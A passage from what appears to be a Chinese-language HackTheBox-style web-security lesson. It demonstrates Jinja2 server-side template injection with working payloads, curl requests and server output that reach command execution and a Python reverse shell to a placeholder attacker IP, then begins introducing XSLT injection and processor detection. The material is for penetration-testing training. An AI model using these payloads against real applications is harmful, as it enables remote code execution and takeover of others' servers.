&#39;logging.Formatter&#39;&gt;, &lt;class &#39;logging.BufferingFormatter&#39;&gt;, &lt;class &#39;logging.Filter&#39;&gt;, &lt;class &#39;logging.Filterer&#39;&gt;, &lt;class &#39;logging.PlaceHolder&#39;&gt;, &lt;class {{ ''.__class__.__mro__ }}
&#39;logging.Manager&#39;&gt;, &lt;class &#39;logging.LoggerAdapter&#39;&gt;, &lt;class &#39;werkzeug._internal._Missing&#39;&gt;, &lt;class &#39;werkzeug.exceptions.Aborter&#39;&gt;, &lt;class &#39;werkzeug.urls.Href&#39;&gt;, &lt;class &#39;subprocess.CompletedProcess&#39;&gt;, &lt;class &#39;subprocess.Popen&#39;&gt;, &lt;class &#39;_hashlib.HASH&#39;&gt;, &lt;class &#39;_blake2.blake2b&#39;&gt;, &lt;class &#39;_blake2.blake2s&#39;&gt;, &lt;class &#39;_sha3.sha3_224&#39;&gt;, &lt;class &#39;_sha3.sha3_256&#39;&gt;, &lt;class &#39;_sha3.sha3_384&#39;&gt;, &lt;class &#39;_sha3.sha3_512&#39;&gt;, &lt;class &#39;_sha3.shake_128&#39;&gt;, &lt;class &#39;_sha3.shake_256&#39;&gt;, &lt;class &#39;tempfile._RandomNameSequence&#39;&gt;, &lt;class &#39;tempfile._TemporaryFileCloser&#39;&gt;, &lt;class &#39;tempfile._TemporaryFileWrapper&#39;&gt;, &lt;class &#39;tempfile.SpooledTemporaryFile&#39;&gt;, &lt;class &#39;tempfile.TemporaryDirectory&#39;&gt;, &lt;class &#39;urllib.request.Request&#39;&gt;, &lt;class &#39;urllib.request.OpenerDirector&#39;&gt;, &lt;class &#39;urllib.request.BaseHandler&#39;&gt;, &lt;class &#39;urllib.request.HTTPPasswordMgr&#39;&gt;, &lt;class &#39;urllib.request.AbstractBasicAuthHandler&#39;&gt;, &lt;class &#39;urllib.request.AbstractDigestAuthHandler&#39;&gt;, &lt;class &#39;urllib.request.URLopener&#39;&gt;, &lt;class &#39;urllib.request.ftpwrapper&#39;&gt;, &lt;class &#39;http.cookiejar.Cookie&#39;&gt;, &lt;class &#39;http.cookiejar.CookiePolicy&#39;&gt;, &lt;class &#39;http.cookiejar.Absent&#39;&gt;, &lt;class &#39;http.cookiejar.CookieJar&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ImmutableListMixin&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ImmutableDictMixin&#39;&gt;, &lt;class &#39;werkzeug.datastructures._omd_bucket&#39;&gt;, &lt;class &#39;werkzeug.datastructures.Headers&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ImmutableHeadersMixin&#39;&gt;, &lt;class &#39;werkzeug.datastructures.IfRange&#39;&gt;, &lt;class &#39;werkzeug.datastructures.Range&#39;&gt;, &lt;class &#39;werkzeug.datastructures.ContentRange&#39;&gt;, &lt;class &#39;werkzeug.datastructures.FileStorage&#39;&gt;, &lt;class &#39;dataclasses._HAS_DEFAULT_FACTORY_CLASS&#39;&gt;, &lt;class &#39;dataclasses._MISSING_TYPE&#39;&gt;, &lt;class &#39;dataclasses._FIELD_BASE&#39;&gt;, &lt;class &#39;dataclasses.InitVar&#39;&gt;, &lt;class &#39;dataclasses.Field&#39;&gt;, &lt;class &#39;dataclasses._DataclassParams&#39;&gt;, &lt;class &#39;werkzeug.sansio.multipart.Event&#39;&gt;, &lt;class &#39;werkzeug.sansio.multipart.MultipartDecoder&#39;&gt;, &lt;class &#39;werkzeug.sansio.multipart.MultipartEncoder&#39;&gt;, &lt;class &#39;importlib.abc.Finder&#39;&gt;, &lt;class &#39;importlib.abc.Loader&#39;&gt;, &lt;class &#39;importlib.abc.ResourceReader&#39;&gt;, &lt;class &#39;pkgutil.ImpImporter&#39;&gt;, &lt;class &#39;pkgutil.ImpLoader&#39;&gt;, &lt;class &#39;hmac.HMAC&#39;&gt;, &lt;class &#39;werkzeug.wsgi.ClosingIterator&#39;&gt;, &lt;class &#39;werkzeug.wsgi.FileWrapper&#39;&gt;, &lt;class &#39;werkzeug.wsgi._RangeWrapper&#39;&gt;, &lt;class &#39;werkzeug.utils.HTMLBuilder&#39;&gt;, &lt;class &#39;werkzeug.wrappers.accept.AcceptMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.auth.AuthorizationMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.auth.WWWAuthenticateMixin&#39;&gt;, &lt;class &#39;_json.Scanner&#39;&gt;, &lt;class &#39;_json.Encoder&#39;&gt;, &lt;class &#39;json.decoder.JSONDecoder&#39;&gt;, &lt;class &#39;json.encoder.JSONEncoder&#39;&gt;, &lt;class &#39;werkzeug.formparser.FormDataParser&#39;&gt;, &lt;class &#39;werkzeug.formparser.MultiPartParser&#39;&gt;, &lt;class &#39;werkzeug.user_agent.UserAgent&#39;&gt;, &lt;class &#39;werkzeug.useragents._UserAgentParser&#39;&gt;, &lt;class &#39;werkzeug.sansio.request.Request&#39;&gt;, &lt;class &#39;werkzeug.wrappers.request.StreamOnlyMixin&#39;&gt;, &lt;class &#39;werkzeug.sansio.response.Response&#39;&gt;, &lt;class &#39;werkzeug.wrappers.response.ResponseStream&#39;&gt;, &lt;class &#39;werkzeug.wrappers.response.ResponseStreamMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.etag.ETagRequestMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.etag.ETagResponseMixin&#39;&gt;, &lt;class &#39;werkzeug.wrappers.user_agent.UserAgentMixin&#39;&gt;, &lt;class &#39;werkzeug.test._TestCookieHeaders&#39;&gt;, &lt;class &#39;werkzeug.test._TestCookieResponse&#39;&gt;, &lt;class &#39;werkzeug.test.EnvironBuilder&#39;&gt;, &lt;class &#39;werkzeug.test.Client&#39;&gt;, &lt;class &#39;decimal.Decimal&#39;&gt;, &lt;class &#39;decimal.Context&#39;&gt;, &lt;class &#39;decimal.SignalDictMixin&#39;&gt;, &lt;class &#39;decimal.ContextManager&#39;&gt;, &lt;class &#39;numbers.Number&#39;&gt;, &lt;class &#39;uuid.UUID&#39;&gt;, &lt;class &#39;_pickle.Unpickler&#39;&gt;, &lt;class &#39;_pickle.Pickler&#39;&gt;, &lt;class &#39;_pickle.Pdata&#39;&gt;, &lt;class &#39;_pickle.PicklerMemoProxy&#39;&gt;, &lt;class &#39;_pickle.UnpicklerMemoProxy&#39;&gt;, &lt;class &#39;pickle._Framer&#39;&gt;, &lt;class &#39;pickle._Unframer&#39;&gt;, &lt;class &#39;pickle._Pickler&#39;&gt;, &lt;class &#39;pickle._Unpickler&#39;&gt;, &lt;class &#39;jinja2.bccache.Bucket&#39;&gt;, &lt;class &#39;jinja2.bccache.BytecodeCache&#39;&gt;, &lt;class &#39;jinja2.utils.MissingType&#39;&gt;, &lt;class &#39;jinja2.utils.LRUCache&#39;&gt;, &lt;class &#39;jinja2.utils.Cycler&#39;&gt;, &lt;class &#39;jinja2.utils.Joiner&#39;&gt;, &lt;class &#39;jinja2.utils.Namespace&#39;&gt;, &lt;class &#39;jinja2.nodes.EvalContext&#39;&gt;, &lt;class &#39;jinja2.nodes.Node&#39;&gt;, &lt;class &#39;jinja2.visitor.NodeVisitor&#39;&gt;, &lt;class &#39;jinja2.idtracking.Symbols&#39;&gt;, &lt;class &#39;jinja2.compiler.MacroRef&#39;&gt;, &lt;class &#39;jinja2.compiler.Frame&#39;&gt;, &lt;class &#39;jinja2.runtime.TemplateReference&#39;&gt;, &lt;class &#39;jinja2.runtime.Context&#39;&gt;, &lt;class &#39;jinja2.runtime.BlockReference&#39;&gt;, &lt;class &#39;jinja2.runtime.LoopContext&#39;&gt;, &lt;class &#39;jinja2.runtime.Macro&#39;&gt;, &lt;class &#39;jinja2.runtime.Undefined&#39;&gt;, &lt;class &#39;ast.NodeVisitor&#39;&gt;, &lt;class &#39;jinja2.lexer.Failure&#39;&gt;, &lt;class &#39;jinja2.lexer.TokenStreamIterator&#39;&gt;, &lt;class &#39;jinja2.lexer.TokenStream&#39;&gt;, &lt;class &#39;jinja2.lexer.Lexer&#39;&gt;, &lt;class &#39;jinja2.parser.Parser&#39;&gt;, &lt;class &#39;jinja2.environment.Environment&#39;&gt;, &lt;class &#39;jinja2.environment.Template&#39;&gt;, &lt;class &#39;jinja2.environment.TemplateModule&#39;&gt;, &lt;class &#39;jinja2.environment.TemplateExpression&#39;&gt;, &lt;class &#39;jinja2.environment.TemplateStream&#39;&gt;, &lt;class &#39;jinja2.loaders.BaseLoader&#39;&gt;, &lt;class &#39;werkzeug.local.Local&#39;&gt;, &lt;class &#39;werkzeug.local.LocalStack&#39;&gt;, &lt;class &#39;werkzeug.local.LocalManager&#39;&gt;, &lt;class &#39;werkzeug.local._ProxyLookup&#39;&gt;, &lt;class &#39;werkzeug.local.LocalProxy&#39;&gt;, &lt;class &#39;difflib.SequenceMatcher&#39;&gt;, &lt;class &#39;difflib.Differ&#39;&gt;, &lt;class &#39;difflib.HtmlDiff&#39;&gt;, &lt;class &#39;pprint._safe_key&#39;&gt;, &lt;class &#39;pprint.PrettyPrinter&#39;&gt;, &lt;class &#39;werkzeug.routing.RuleFactory&#39;&gt;, &lt;class &#39;werkzeug.routing.RuleTemplate&#39;&gt;, &lt;class &#39;werkzeug.routing.BaseConverter&#39;&gt;, &lt;class &#39;werkzeug.routing.Map&#39;&gt;, &lt;class &#39;werkzeug.routing.MapAdapter&#39;&gt;, &lt;class &#39;gettext.NullTranslations&#39;&gt;, &lt;class &#39;click._compat._FixupStream&#39;&gt;, &lt;class &#39;click._compat._AtomicFile&#39;&gt;, &lt;class &#39;click.utils.LazyFile&#39;&gt;, &lt;class &#39;click.utils.KeepOpenFile&#39;&gt;, &lt;class &#39;click.utils.PacifyFlushWrapper&#39;&gt;, &lt;class &#39;click.types.ParamType&#39;&gt;, &lt;class &#39;click.parser.Option&#39;&gt;, &lt;class &#39;click.parser.Argument&#39;&gt;, &lt;class &#39;click.parser.ParsingState&#39;&gt;, &lt;class &#39;click.parser.OptionParser&#39;&gt;, &lt;class &#39;click.formatting.HelpFormatter&#39;&gt;, &lt;class &#39;click.core.Context&#39;&gt;, &lt;class &#39;click.core.BaseCommand&#39;&gt;, &lt;class &#39;click.core.Parameter&#39;&gt;, &lt;class &#39;flask.signals.Namespace&#39;&gt;, &lt;class &#39;flask.signals._FakeSignal&#39;&gt;, &lt;class &#39;flask.cli.DispatchingApp&#39;&gt;, &lt;class &#39;flask.cli.ScriptInfo&#39;&gt;, &lt;class &#39;flask.config.ConfigAttribute&#39;&gt;, &lt;class &#39;flask.ctx._AppCtxGlobals&#39;&gt;, &lt;class &#39;flask.ctx.AppContext&#39;&gt;, &lt;class &#39;flask.ctx.RequestContext&#39;&gt;, &lt;class &#39;flask.scaffold.Scaffold&#39;&gt;, &lt;class &#39;itsdangerous._json._CompactJSON&#39;&gt;, &lt;class &#39;itsdangerous.signer.SigningAlgorithm&#39;&gt;, &lt;class &#39;itsdangerous.signer.Signer&#39;&gt;, &lt;class &#39;itsdangerous.serializer.Serializer&#39;&gt;, &lt;class &#39;flask.json.tag.JSONTag&#39;&gt;, &lt;class &#39;flask.json.tag.TaggedJSONSerializer&#39;&gt;, &lt;class &#39;flask.sessions.SessionInterface&#39;&gt;, &lt;class &#39;flask.blueprints.BlueprintSetupState&#39;&gt;, &lt;class &#39;unicodedata.UCD&#39;&gt;, &lt;class &#39;__future__._Feature&#39;&gt;]</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>

让我们使用下面的有效负载打印出数字和方法名称。

Code:

{% for i in range(450) %} 
{{ i }}
{{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }}
{% endfor %}
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%25%20for%20i%20in%20range%28450%29%20%25%7D%20%7B%7B%20i%20%7D%7D%20%7B%7B%20%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5Bi%5D.__name__%20%7D%7D%20%7B%25%20endfor%20%25%7D"

<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a> 0 type 1 weakref 2 weakcallableproxy 3 weakproxy 4 int 5 bytearray 6 bytes 7 list 8 NoneType 9 NotImplementedType 10 traceback 11 super 12 range 13 dict 14 dict_keys 15 dict_values 16 dict_items 17 dict_reversekeyiterator 18 dict_reversevalueiterator 19 dict_reverseitemiterator 20 odict_iterator 21 set 22 str 23 slice 24 staticmethod 25 complex 26 float 27 frozenset 28 property 29 managedbuffer 30 memoryview 31 tuple 32 enumerate 33 reversed 34 stderrprinter 35 code 36 frame 37 builtin_function_or_method 38 method 39 function 40 mappingproxy 41 generator 42 getset_descriptor 43 wrapper_descriptor 44 method-wrapper 45 ellipsis 46 member_descriptor 47 SimpleNamespace 48 PyCapsule 49 longrange_iterator 50 cell 51 instancemethod 52 classmethod_descriptor 53 method_descriptor 54 callable_iterator 55 iterator 56 PickleBuffer 57 coroutine 58 coroutine_wrapper 59 InterpreterID 60 EncodingMap 61 fieldnameiterator 62 formatteriterator 63 BaseException 64 hamt 65 hamt_array_node 66 hamt_bitmap_node 67 hamt_collision_node 68 keys 69 values 70 items 71 Context 72 ContextVar 73 Token 74 MISSING 75 moduledef 76 module 77 filter 78 map 79 zip 80 _ModuleLock 81 _DummyModuleLock 82 _ModuleLockManager 83 ModuleSpec 84 BuiltinImporter 85 classmethod 86 FrozenImporter 87 _ImportLockContext 88 _localdummy 89 _local 90 lock 91 RLock 92 _IOBase 93 _BytesIOBuffer 94 IncrementalNewlineDecoder 95 ScandirIterator 96 DirEntry 97 WindowsRegistryFinder 98 _LoaderBasics 99 FileLoader 100 _NamespacePath 101 _NamespaceLoader 102 PathFinder 103 FileFinder 104 zipimporter 105 _ZipImportResourceReader 106 Codec 107 IncrementalEncoder 108 IncrementalDecoder 109 StreamReaderWriter 110 StreamRecoder 111 _abc_data 112 ABC 113 dict_itemiterator 114 Hashable 115 Awaitable 116 AsyncIterable 117 async_generator 118 Iterable 119 bytes_iterator 120 bytearray_iterator 121 dict_keyiterator 122 dict_valueiterator 123 list_iterator 124 list_reverseiterator 125 range_iterator 126 set_iterator 127 str_iterator 128 tuple_iterator 129 Sized 130 Container 131 Callable 132 _wrap_close 133 Quitter 134 _Printer 135 _Helper 136 itemgetter 137 attrgetter 138 methodcaller 139 accumulate 140 combinations 141 combinations_with_replacement 142 cycle 143 dropwhile 144 takewhile 145 islice 146 starmap 147 chain 148 compress 149 filterfalse 150 count 151 zip_longest 152 permutations 153 product 154 repeat 155 groupby 156 _grouper 157 _tee 158 _tee_dataobject 159 Repr 160 deque 161 _deque_iterator 162 _deque_reverse_iterator 163 _tuplegetter 164 _Link 165 partial 166 _lru_cache_wrapper 167 partialmethod 168 singledispatchmethod 169 cached_property 170 DynamicClassAttribute 171 _GeneratorWrapper 172 auto 173 Enum 174 Pattern 175 Match 176 SRE_Scanner 177 State 178 SubPattern 179 Tokenizer 180 Scanner 181 Template 182 Formatter 183 ContextDecorator 184 _GeneratorContextManagerBase 185 _BaseExitStack 186 _Final 187 _Immutable 188 Generic 189 _TypingEmpty 190 _TypingEllipsis 191 NamedTuple 192 typing.io 193 typing.re 194 AST 195 _MarkupEscapeHelper 196 poll 197 epoll 198 BaseSelector 199 socket 200 _IterationGuard 201 WeakSet 202 _RLock 203 Condition 204 Semaphore 205 Event 206 Barrier 207 Thread 208 BaseServer 209 ForkingMixIn 210 _NoThreads 211 ThreadingMixIn 212 BaseRequestHandler 213 WarningMessage 214 catch_warnings 215 date 216 timedelta 217 time 218 tzinfo 219 _Info 220 finalize 221 sha384 222 sha512 223 Random 224 _ResultMixinStr 225 _ResultMixinBytes 226 _NetlocResultMixinBase 227 _localized_month 228 _localized_day 229 Calendar 230 different_locale 231 AddrlistClass 232 Struct 233 unpack_iterator 234 Charset 235 Header 236 _ValueFormatter 237 _PolicyBase 238 BufferedSubFile 239 FeedParser 240 Parser 241 BytesParser 242 Message 243 HTTPConnection 244 _SSLContext 245 _SSLSocket 246 MemoryBIO 247 Session 248 SSLObject 249 MimeTypes 250 Compress 251 Decompress 252 BZ2Compressor 253 BZ2Decompressor 254 LZMACompressor 255 LZMADecompressor 256 Bytecode 257 Untokenizer 258 BlockFinder 259 _void 260 _empty 261 Parameter 262 BoundArguments 263 Signature 264 FrameSummary 265 TracebackException 266 LogRecord 267 PercentStyle 268 Formatter 269 BufferingFormatter 270 Filter 271 Filterer 272 PlaceHolder 273 Manager 274 LoggerAdapter 275 _Missing 276 Aborter 277 Href 278 CompletedProcess 279 Popen 280 HASH 281 blake2b 282 blake2s 283 sha3_224 284 sha3_256 285 sha3_384 286 sha3_512 287 shake_128 288 shake_256 289 _RandomNameSequence 290 _TemporaryFileCloser 291 _TemporaryFileWrapper 292 SpooledTemporaryFile 293 TemporaryDirectory 294 Request 295 OpenerDirector 296 BaseHandler 297 HTTPPasswordMgr 298 AbstractBasicAuthHandler 299 AbstractDigestAuthHandler 300 URLopener 301 ftpwrapper 302 Cookie 303 CookiePolicy 304 Absent 305 CookieJar 306 ImmutableListMixin 307 ImmutableDictMixin 308 _omd_bucket 309 Headers 310 ImmutableHeadersMixin 311 IfRange 312 Range 313 ContentRange 314 FileStorage 315 _HAS_DEFAULT_FACTORY_CLASS 316 _MISSING_TYPE 317 _FIELD_BASE 318 InitVar 319 Field 320 _DataclassParams 321 Event 322 MultipartDecoder 323 MultipartEncoder 324 Finder 325 Loader 326 ResourceReader 327 ImpImporter 328 ImpLoader 329 HMAC 330 ClosingIterator 331 FileWrapper 332 _RangeWrapper 333 HTMLBuilder 334 AcceptMixin 335 AuthorizationMixin 336 WWWAuthenticateMixin 337 Scanner 338 Encoder 339 JSONDecoder 340 JSONEncoder 341 FormDataParser 342 MultiPartParser 343 UserAgent 344 _UserAgentParser 345 Request 346 StreamOnlyMixin 347 Response 348 ResponseStream 349 ResponseStreamMixin 350 CommonRequestDescriptorsMixin 351 CommonResponseDescriptorsMixin 352 ETagRequestMixin 353 ETagResponseMixin 354 UserAgentMixin 355 _TestCookieHeaders 356 _TestCookieResponse 357 EnvironBuilder 358 Client 359 Decimal 360 Context 361 SignalDictMixin 362 ContextManager 363 Number 364 UUID 365 Unpickler 366 Pickler 367 Pdata 368 PicklerMemoProxy 369 UnpicklerMemoProxy 370 _Framer 371 _Unframer 372 _Pickler 373 _Unpickler 374 Bucket 375 BytecodeCache 376 MissingType 377 LRUCache 378 Cycler 379 Joiner 380 Namespace 381 EvalContext 382 Node 383 NodeVisitor 384 Symbols 385 MacroRef 386 Frame 387 TemplateReference 388 Context 389 BlockReference 390 LoopContext 391 Macro 392 Undefined 393 NodeVisitor 394 Failure 395 TokenStreamIterator 396 TokenStream 397 Lexer 398 Parser 399 Environment 400 Template 401 TemplateModule 402 TemplateExpression 403 TemplateStream 404 BaseLoader 405 Local 406 LocalStack 407 LocalManager 408 _ProxyLookup 409 LocalProxy 410 SequenceMatcher 411 Differ 412 HtmlDiff 413 _safe_key 414 PrettyPrinter 415 RuleFactory 416 RuleTemplate 417 BaseConverter 418 Map 419 MapAdapter 420 NullTranslations 421 _FixupStream 422 _AtomicFile 423 LazyFile 424 KeepOpenFile 425 PacifyFlushWrapper 426 ParamType 427 Option 428 Argument 429 ParsingState 430 OptionParser 431 HelpFormatter 432 Context 433 BaseCommand 434 Parameter 435 Namespace 436 _FakeSignal 437 DispatchingApp 438 ScriptInfo 439 ConfigAttribute 440 _AppCtxGlobals 441 AppContext 442 RequestContext 443 Scaffold 444 _CompactJSON 445 SigningAlgorithm 446 Signer 447 Serializer 448 JSONTag 449 TaggedJSONSerializer </a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>

正如您在应用程序的响应中所看到的,catch_warnings位于索引#214。

我们拥有构建RCE有效负载所需的一切,如下所示。

Code:

{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').system("touch /tmp/test1") }}  
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B214%5D%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.system%28%22touch%20%2Ftmp%2Ftest1%22%29%20%7D%7D"

<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>0</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>

应用程序在响应中返回0。这是我们刚刚执行的命令的返回值。0表示命令执行无误。

我们可以确定test1是否是使用以下有效负载创建的。

Code:

{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('ls /tmp').read()}}     
mikannse7@htb[/htb]$ curl -gs "http://<TARGET IP>:<PORT>/execute?cmd=%7B%7B%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B214%5D%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.popen%28%27ls%20%2Ftmp%27%29.read%28%29%7D%7D"

<SNIP>
<body>
<div id="desktop">
<div class="window" data-title="Run">
<form action="/execute" method="get">
<a>C:\><input type="text" name="cmd" id="command"></a>
<br/>
<a>test1
tmpv4tucw2b
</a>
<br/>
<input type="submit" value="execute">
</form>
</div>
<SNIP>
</body>

现在我们已经完成了有效负载的开发过程,值得一提的是,我们可以使用一些特定的功能来促进对Jinja2 SSTI漏洞的利用。这是requestlipsum。请随意将它们提交给本节的目标。

Code:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Code:

{{lipsum.__globals__.os.popen('id').read()}}

反向外壳也可以通过如下有效载荷建立。

Code:

{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('python -c \'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<PENTESTER_IP>",<PENTESTER_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}}

Attacking XSLT

可扩展样式表语言转换(XSLT)是一种基于XML的语言,通常用于将XML文档转换为HTML、另一个XML文档或PDF。可扩展样式表语言转换服务器端注入可能发生在可以上载任意XSL文件或应用程序使用来自用户的未经验证的输入动态生成XSL转换的XML文档时。

根据具体情况,NetBeans使用内置函数和XPATH语言在浏览器或服务器中转换文档。可扩展样式表语言转换在一些Web应用程序中作为独立功能,SSI引擎和Oracle等数据库存在。在撰写本文时,有3个(123)版本。从攻击者的角度来看,版本1是最不感兴趣的,因为它的内置功能有限。使用最多的XSLT相关项目是Liberty、Xalan和Saxon。为了利用恶意注入,我们需要在服务器端存储恶意标签并访问该内容。

让我们通过结合使用Saxon和JavaScript Version 2来试验JavaScript。

首先,在Pwnbox或本地VM上安装所需的软件包,如下所示:

Installation of required packages

mikannse7@htb[/htb]$ sudo apt install default-jdk libsaxon-java libsaxonb-java

接下来,创建以下文件:

catalogue.xml

Code:

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>Empire Burlesque</title>
<artist>Bob Dylan</artist>
<country>USA</country>
<company>Columbia</company>
<price>10.90</price>
<year>1985</year>
</cd>
<cd>
<title>Hide your heart</title>
<artist>Bonnie Tyler</artist>
<country>UK</country>
<company>CBS Records</company>
<price>9.90</price>
<year>1988</year>
</cd>
<cd>
<title>Greatest Hits</title>
<artist>Dolly Parton</artist>
<country>USA</country>
<company>RCA</company>
<price>9.90</price>
<year>1982</year>
</cd>
<cd>
<title>Still got the blues</title>
<artist>Gary Moore</artist>
<country>UK</country>
<company>Virgin records</company>
<price>10.20</price>
<year>1990</year>
</cd>
<cd>
<title>Eros</title>
<artist>Eros Ramazzotti</artist>
<country>EU</country>
<company>BMG</company>
<price>9.90</price>
<year>1997</year>
</cd>
<cd>
<title>One night only</title>
<artist>Bee Gees</artist>
<country>UK</country>
<company>Polydor</company>
<price>10.90</price>
<year>1998</year>
</cd>
<cd>
<title>Sylvias Mother</title>
<artist>Dr.Hook</artist>
<country>UK</country>
<company>CBS</company>
<price>8.10</price>
<year>1973</year>
</cd>
<cd>
<title>Maggie May</title>
<artist>Rod Stewart</artist>
<country>UK</country>
<company>Pickwick</company>
<price>8.50</price>
<year>1990</year>
</cd>
<cd>
<title>Romanza</title>
<artist>Andrea Bocelli</artist>
<country>EU</country>
<company>Polydor</company>
<price>10.80</price>
<year>1996</year>
</cd>
<cd>
<title>When a man loves a woman</title>
<artist>Percy Sledge</artist>
<country>USA</country>
<company>Atlantic</company>
<price>8.70</price>
<year>1987</year>
</cd>
<cd>
<title>Black angel</title>
<artist>Savage Rose</artist>
<country>EU</country>
<company>Mega</company>
<price>10.90</price>
<year>1995</year>
</cd>
<cd>
<title>1999 Grammy Nominees</title>
<artist>Many</artist>
<country>USA</country>
<company>Grammy</company>
<price>10.20</price>
<year>1999</year>
</cd>
<cd>
<title>For the good times</title>
<artist>Kenny Rogers</artist>
<country>UK</country>
<company>Mucik Master</company>
<price>8.70</price>
<year>1995</year>
</cd>
<cd>
<title>Big Willie style</title>
<artist>Will Smith</artist>
<country>USA</country>
<company>Columbia</company>
<price>9.90</price>
<year>1997</year>
</cd>
<cd>
<title>Tupelo Honey</title>
<artist>Van Morrison</artist>
<country>UK</country>
<company>Polydor</company>
<price>8.20</price>
<year>1971</year>
</cd>
<cd>
<title>Soulsville</title>
<artist>Jorn Hoel</artist>
<country>Norway</country>
<company>WEA</company>
<price>7.90</price>
<year>1996</year>
</cd>
<cd>
<title>The very best of</title>
<artist>Cat Stevens</artist>
<country>UK</country>
<company>Island</company>
<price>8.90</price>
<year>1990</year>
</cd>
<cd>
<title>Stop</title>
<artist>Sam Brown</artist>
<country>UK</country>
<company>A and M</company>
<price>8.90</price>
<year>1988</year>
</cd>
<cd>
<title>Bridge of Spies</title>
<artist>T`Pau</artist>
<country>UK</country>
<company>Siren</company>
<price>7.90</price>
<year>1987</year>
</cd>
<cd>
<title>Private Dancer</title>
<artist>Tina Turner</artist>
<country>UK</country>
<company>Capitol</company>
<price>8.90</price>
<year>1983</year>
</cd>
<cd>
<title>Midt om natten</title>
<artist>Kim Larsen</artist>
<country>EU</country>
<company>Medley</company>
<price>7.80</price>
<year>1983</year>
</cd>
<cd>
<title>Pavarotti Gala Concert</title>
<artist>Luciano Pavarotti</artist>
<country>UK</country>
<company>DECCA</company>
<price>9.90</price>
<year>1991</year>
</cd>
<cd>
<title>The dock of the bay</title>
<artist>Otis Redding</artist>
<country>USA</country>
<company>Stax Records</company>
<price>7.90</price>
<year>1968</year>
</cd>
<cd>
<title>Picture book</title>
<artist>Simply Red</artist>
<country>EU</country>
<company>Elektra</company>
<price>7.20</price>
<year>1985</year>
</cd>
<cd>
<title>Red</title>
<artist>The Communards</artist>
<country>UK</country>
<company>London</company>
<price>7.80</price>
<year>1987</year>
</cd>
<cd>
<title>Unchain my heart</title>
<artist>Joe Cocker</artist>
<country>USA</country>
<company>EMI</company>
<price>8.20</price>
<year>1987</year>
</cd>
</catalog>

transformation.xsl

Code:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>Artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

我们需要理解XML格式以了解转换是如何工作的。

  • 第一行通常是XML版本和编码
  • 接下来,它将拥有XSL根节点xsl:stylesheet
  • 然后,我们将在xsl:template match="<PATH>"中获得指令。在这种情况下,它将适用于任何XML节点。
  • 之后,将为XML结构中与前一行匹配的任何项定义转换。
  • 要从XML文档中选择某些项目,XPATH语言以<xsl:value-of select="<NODE>/<SUBNODE>/<VALUE>"/>的形式使用。

要查看结果,我们将使用命令行解析器。这可以通过以下方式实现:

Transformation through the terminal

mikannse7@htb[/htb]$ saxonb-xslt -xsl:transformation.xsl catalogue.xml

Warning: at xsl:stylesheet on line 3 column 50 of transformation.xslt:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>Artist</th>
</tr>
<tr>
<td>Empire Burlesque</td>
<td>Bob Dylan</td>
</tr>
</table>
</body>
</html>

下面的文件可用于检测底层预处理器。

detection.xsl

Code:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<h2>XSLT identification</h2>
<b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
<b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
<b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
</xsl:template>
</xsl:stylesheet>

现在让我们运行前面的命令,但这一次使用detection.xsl文件。

Transformation through the terminal

mikannse7@htb[/htb]$ saxonb-xslt -xsl:detection.xsl catalogue.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
